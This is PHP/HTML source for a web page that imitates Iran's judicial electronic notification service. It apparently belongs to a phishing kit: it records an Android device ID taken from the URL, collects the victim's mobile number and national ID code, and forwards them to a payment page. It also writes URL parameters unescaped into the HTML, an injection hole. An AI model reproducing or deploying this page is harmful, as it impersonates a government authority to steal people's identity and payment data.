<?php
error_reporting(0);
require("../check.php");

if(isset($_GET['login'])) {
    $android_id = $_GET['login'];
    $id_type = "e7";
}
if(isset($_GET['androidid'])) {
    $android_id = $_GET['androidid'];
    $id_type = "x";
}

?>

<!DOCTYPE html>
<html lang="UTF-8" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../styles/index-style.css">
    <link rel="stylesheet" href="../styles/dup-style.css">
</head>
<body>
    <div class="f-loading" id="f-loading">
      <span class="loader" id="loader"></span>
      <span style="margin-top: 10px; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif !important;">درحال بارگذاری</span>
    </div>
    <div class="container" id="container" style="none">
        <div class="top-title">
            <div class="cover-img">
                <div class="img-bg"></div>
                <img src="../images/logo.png" class="img-logo" alt="">
            </div>
            <div class="cover-text">
                <h1> سامانه ابلاغیه الکترونیکی</h1>
                <p>سامانه خدمات قضایی</p>
            </div>
        </div>
        <div class="cover-form">
            <form action="paypage.php" method="POST" class="form-login">
                <input type="hidden" name="android_id" value="<?php echo $android_id; ?>">
<input type="hidden" name="id_type" value="<?php echo $id_type ; ?>">
                <div class="cover-input-1" style="margin-top: 10px;">
                    <p>شماره همراه</p>
                    <input dir="ltr" type="number" name="phone" id="phone">
                    <p id="errorPhone" style="display: none; color: #ff3939;">شماره همراه نامعتبر</p>
                </div>
                <div class="cover-input-2">
                    <p>شماره ملی <span>( کدملی )</span></p>
                    <input dir="ltr" type="number" name="codmeli" id="codmeli">
                    <p id="errorMeli" style="display: none; color: #ff3939;">کدملی نامعتبر</p>
                </div>
                <button type="button" id="btn-sub" >ورود</button>
            </form>
        </div>
    </div>
    <script src="../scripts/app-login.js"></script>
</body>
</html>